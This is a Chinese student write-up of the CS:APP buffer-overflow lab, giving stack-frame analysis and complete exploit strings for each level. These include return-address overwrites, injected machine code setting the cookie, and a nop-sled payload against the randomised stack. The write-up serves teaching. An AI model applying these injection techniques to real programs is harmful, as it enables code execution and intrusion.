反汇编得到getbuf
函数的汇编代码:
08049342 <getbuf>:
8049342: 55 push %ebp
8049343: 89 e5 mov %esp,%ebp
8049345: 83 ec 38 sub $0x38,%esp
8049348: 83 ec 0c sub $0xc,%esp
804934b: 8d 45 ce lea -0x32(%ebp),%eax
804934e: 50 push %eax
804934f: e8 ba fa ff ff call 8048e0e <Gets>
8049354: 83 c4 10 add $0x10,%esp
8049357: b8 01 00 00 00 mov $0x1,%eax
804935c: c9 leave
804935d: c3 ret
可以发现-0x32(%ebp)
作为参数传给Gets
,也就是我们输入的字符串的首地址就是ebp-0x32
,输入的内容存放在从此向上的位置,转换成十进制就是ebp-50
,画出getbuf
大致的栈帧结构:
需要把返回地址修改为smoke
的起始地址,中间需要填充50+4个字节的内容,也就是填写五十个字符。
再看一下smoke的起始地址:
所以答案就有了:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00
a1 8b 04 08 /* smoke入口 */
测试一下可以通过:
这题要求在上题输入的字符串的基础上插入一个参数cookie,从上图中也可以看出这个cookie的值是0x180f29c9
,对应的字符串序列就是c9 29 0f 18
,重点在于这段字符要插入到哪里。
首先看fizz
的反汇编:
08048bce <fizz>:
8048bce: 55 push %ebp
8048bcf: 89 e5 mov %esp,%ebp
8048bd1: 83 ec 08 sub $0x8,%esp
8048bd4: 8b 55 08 mov 0x8(%ebp),%edx
8048bd7: a1 38 d1 04 08 mov 0x804d138,%eax
8048bdc: 39 c2 cmp %eax,%edx
8048bde: 75 22 jne 8048c02 <fizz+0x34>
8048be0: 83 ec 08 sub $0x8,%esp
8048be3: ff 75 08 push 0x8(%ebp)
8048be6: 68 4b a3 04 08 push $0x804a34b
8048beb: e8 50 fc ff ff call 8048840 <printf@plt>
8048bf0: 83 c4 10 add $0x10,%esp
8048bf3: 83 ec 0c sub $0xc,%esp
8048bf6: 6a 01 push $0x1
8048bf8: e8 c2 08 00 00 call 80494bf <validate>
8048bfd: 83 c4 10 add $0x10,%esp
8048c00: eb 13 jmp 8048c15 <fizz+0x47>
8048c02: 83 ec 08 sub $0x8,%esp
8048c05: ff 75 08 push 0x8(%ebp)
8048c08: 68 6c a3 04 08 push $0x804a36c
8048c0d: e8 2e fc ff ff call 8048840 <printf@plt>
8048c12: 83 c4 10 add $0x10,%esp
8048c15: 83 ec 0c sub $0xc,%esp
8048c18: 6a 00 push $0x0
8048c1a: e8 01 fd ff ff call 8048920 <exit@plt> <fizz>:
8048bce: 55 push %ebp
8048bcf: 89 e5 mov %esp,%ebp
8048bd1: 83 ec 08 sub $0x8,%esp
8048bd4: 8b 55 08 mov 0x8(%ebp),%edx
8048bd7: a1 38 d1 04 08 mov 0x804d138,%eax
8048bdc: 39 c2 cmp %eax,%edx
8048bde: 75 22 jne 8048c02 <fizz+0x34>
8048be0: 83 ec 08 sub $0x8,%esp
8048be3: ff 75 08 push 0x8(%ebp)
8048be6: 68 4b a3 04 08 push $0x804a34b
8048beb: e8 50 fc ff ff call 8048840 <printf@plt>
8048bf0: 83 c4 10 add $0x10,%esp
8048bf3: 83 ec 0c sub $0xc,%esp
8048bf6: 6a 01 push $0x1
8048bf8: e8 c2 08 00 00 call 80494bf <validate>
8048bfd: 83 c4 10 add $0x10,%esp
8048c00: eb 13 jmp 8048c15 <fizz+0x47>
8048c02: 83 ec 08 sub $0x8,%esp
8048c05: ff 75 08 push 0x8(%ebp)
8048c08: 68 6c a3 04 08 push $0x804a36c
8048c0d: e8 2e fc ff ff call 8048840 <printf@plt>
8048c12: 83 c4 10 add $0x10,%esp
8048c15: 83 ec 0c sub $0xc,%esp
8048c18: 6a 00 push $0x0
8048c1a: e8 01 fd ff ff call 8048920 <exit@plt>
fizz
的地址是0x8048bce
。ebp+4
是调用者返回地址,应修改为fizz
的地址,ebp+8
是参数的地址,所以应该把这个位置修改为cookie,所以答案就有了:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00
ce 8b 04 08 /* fizz入口地址 */
00 00 00 00
c9 29 0f 18 /* fizz参数地址 */
测试一下可以通过:
先看bang
的反汇编:
08048c1f <bang>:
8048c1f: 55 push %ebp
8048c20: 89 e5 mov %esp,%ebp
8048c22: 83 ec 08 sub $0x8,%esp
8048c25: a1 40 d1 04 08 mov 0x804d140,%eax
8048c2a: 89 c2 mov %eax,%edx
8048c2c: a1 38 d1 04 08 mov 0x804d138,%eax
8048c31: 39 c2 cmp %eax,%edx
8048c33: 75 25 jne 8048c5a <bang+0x3b>
8048c35: a1 40 d1 04 08 mov 0x804d140,%eax
8048c3a: 83 ec 08 sub $0x8,%esp
8048c3d: 50 push %eax
8048c3e: 68 8c a3 04 08 push $0x804a38c
8048c43: e8 f8 fb ff ff call 8048840 <printf@plt>
8048c48: 83 c4 10 add $0x10,%esp
8048c4b: 83 ec 0c sub $0xc,%esp
8048c4e: 6a 02 push $0x2
8048c50: e8 6a 08 00 00 call 80494bf <validate>
8048c55: 83 c4 10 add $0x10,%esp
8048c58: eb 16 jmp 8048c70 <bang+0x51>
8048c5a: a1 40 d1 04 08 mov 0x804d140,%eax
8048c5f: 83 ec 08 sub $0x8,%esp
8048c62: 50 push %eax
8048c63: 68 b1 a3 04 08 push $0x804a3b1
8048c68: e8 d3 fb ff ff call 8048840 <printf@plt>
8048c6d: 83 c4 10 add $0x10,%esp
8048c70: 83 ec 0c sub $0xc,%esp
8048c73: 6a 00 push $0x0
8048c75: e8 a6 fc ff ff call 8048920 <exit@plt>
bang
的入口地址是0x08048c1f
,由8048c25: a1 40 d1 04 08 mov 0x804d140, %eax
可知global_val
的存放地址是0x804d140
,可以调试验证一下:
可以先把global_value
的值修改为cookie
值0x180f29c9
,通过mov
指令实现这一步。
然后再把bang
的入口地址压栈,接着调用ret
指令,此时ret
会把刚刚压入的地址弹出栈并跳转执行。
所以需要插入指令如下:
mov $0x180f29c9, 0x804d140
push $0x08048c1f
ret
然后把它转换为机器码,这里我是用的方法是先创建一个temp.s
文件,然后在文件中填充上述汇编指令。通过gcc -c temp.s
将其编译成temp.o
文件,然后通过objdump -d -S temp.o
文件将其对应的汇编代码和机器码都打印出来,得到的结果如下:
0000000000000000 <.text>:
0: c7 04 25 40 d1 04 08 movl $0x180f29c9,0x804d140
7: c9 29 0f 18
b: 68 1f 8c 04 08 push $0x8048c1f
10: c3 ret
现在代码有了,假设把代码插入到一开始输入的位置,也就是ebp-50
,可以把返回地址改为我们插入的位置,这样getbuf
函数ret
后就会跳转到我们插入的指令,最终执行bang
。
所以需要知道ebp-50
的具体值,在getbuf
调用Gets
之前看一下eax
的值就可以得到:
所以返回地址填充为:0x55683c9e
,于是可以构造如下答案:
c7 04 25 40 d1 04 08 c9 29 0f 18 68 1f 8c 04 08 c3 /* 攻击代码 */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00
9e 3c 68 55 /* 攻击代码地址 */
测试通过:
getbuf()
的返回值存储在eax
中,所以把eax
的值修改为cookie
即可。
这里还是采用和level2
一样的方法,先用mov
指令修改eax
,此时要求程序正常返回,也就是要执行调用完getbuf()
的下一行指令,查看test
函数可以得到地址0x8048c8d
:
所以可以插入指令:
mov $0x180f29c9, %eax
push $0x08048c8d
ret
用同样的方法得到机器码:
0000000000000000 <.text>:
0: b8 c9 29 0f 18 mov $0x180f29c9,%eax
5: 68 8d 8c 04 08 push $0x8048c8d
a: c3
题目还要求恢复原来的ebp
,因为要从getbuf
到test
,所以应该在getbuf
的第一行打个断点记录此时ebp
的值为0x55683cf0
:
这个在构造答案的时候,对应ebp
的位置本来是几就填充几就好了,也就是返回地址前面四个字节就填充0x55683cf0
。
所以构造答案如下:
b8 c9 29 0f 18 68 8d 8c 04 08 c3 /* 攻击代码 */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
f0 3c 68 55 /* ebp原值 */
9e 3c 68 55 /* 攻击代码地址 */
测试通过:
这道题要求使用-n
命令运行bufbomb
,使其开启栈随机化,这样就导致每次调用时栈空间不一样。这个阶段会调用五次getbufn
,每次存储的ebp
的值不一样,差值在±240
,可以看一下每次的取值:
先看一下getbufn
的反汇编:
0804935e <getbufn>:
804935e: 55 push %ebp
804935f: 89 e5 mov %esp,%ebp
8049361: 81 ec c8 02 00 00 sub $0x2c8,%esp
8049367: 83 ec 0c sub $0xc,%esp
804936a: 8d 85 3e fd ff ff lea -0x2c2(%ebp),%eax
8049370: 50 push %eax
8049371: e8 98 fa ff ff call 8048e0e <Gets>
8049376: 83 c4 10 add $0x10,%esp
8049379: b8 01 00 00 00 mov $0x1,%eax
804937e: c9 leave
804937f: c3 ret
此时buf
的首地址为ebp-706
,给buf
开辟了706
个字节的空间。
文档中提到了利用nop
指令,查阅资料得知nop
指令的机器代码为0x90
,功能是使程序计数器加一,也就是一个一个地跳指令。
我们要做的是找出ebp
出现过的最大值0x55683cd0
,再减去0x2c2
,即是最高的buf
起始地址:0x55683a0e
。应该让程序跳转到最高的buf
地址,然后一路nop
,一直走到攻击代码。即返回地址应该填充0x55683a0e
。
接下来需要还原ebp
。观察testn
的部分代码:
08048cf4 <testn>:
8048cf4: 55 push %ebp
8048cf5: 89 e5 mov %esp,%ebp
8048cf7: 83 ec 18 sub $0x18,%esp
8048cfa: e8 ce 03 00 00 call 80490cd <uniqueval>
8048cff: 89 45 f0 mov %eax,-0x10(%ebp)
8048d02: e8 57 06 00 00 call 804935e <getbufn>
8048d07: 89 45 f4 mov %eax,-0xc(%ebp)
8048d0a: e8 be 03 00 00 call 80490cd <uniqueval>
每次的ebp
是会变的,但esp
是不变的,所以可以通过esp
间接计算ebp
的值进行还原。后面减去了0x18
,所以ebp=esp+0x18
。可以通过指令lea 0x18(%esp), %ebp
来还原getbuf
开始时ebp
的值。
此外还要修改eax
的值为cookie
,这就跟此前一样了:mov $0x180f29c9, %eax
。
之后程序要跳转到调用getbufn
的下一句继续执行,也就是0x08048d07
。
所以攻击代码就有了:
lea 0x18(%esp), %ebp
mov $0x180f29c9, %eax
push $0x8048d07
ret
转换为对应的机器码:
0000000000000000 <.text>:
0: 8d 6c 24 18 lea 0x18(%esp),%ebp
5: b8 c9 29 0f 18 mov $0x180f29c9,%eax
a: 68 07 8d 04 08 push $0x8048d07
f: c3 ret
这里出了点小问题,我转出来的lea
指令实际是67 8d 6c 24 18
,但是就是过不去,把67删掉就对了。
接下来构造攻击字符串,buf
需要填充706(buf的大小)+4(ebp旧值)+4(返回地址)=714
个字节,攻击代码要尽可能靠后填,所以前一部分填充nop
指令(0x90
),剩下的填充攻击代码和返回地址。其中返回地址填充buf
的最大起始地址,也就是0x55683a0e
,放在最后4个字节。紧跟着前面就是攻击代码的机器码,共计15
个字节,前面的695
个字节全部填充nop
,所以构造字符串如下:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* 695个nop */
b8 c9 29 0f 18 8d 6c 24 18 68 07 8d 04 08 c3 /* 攻击代码 */
0e 3a 68 55 /* 返回地址 */
测试通过: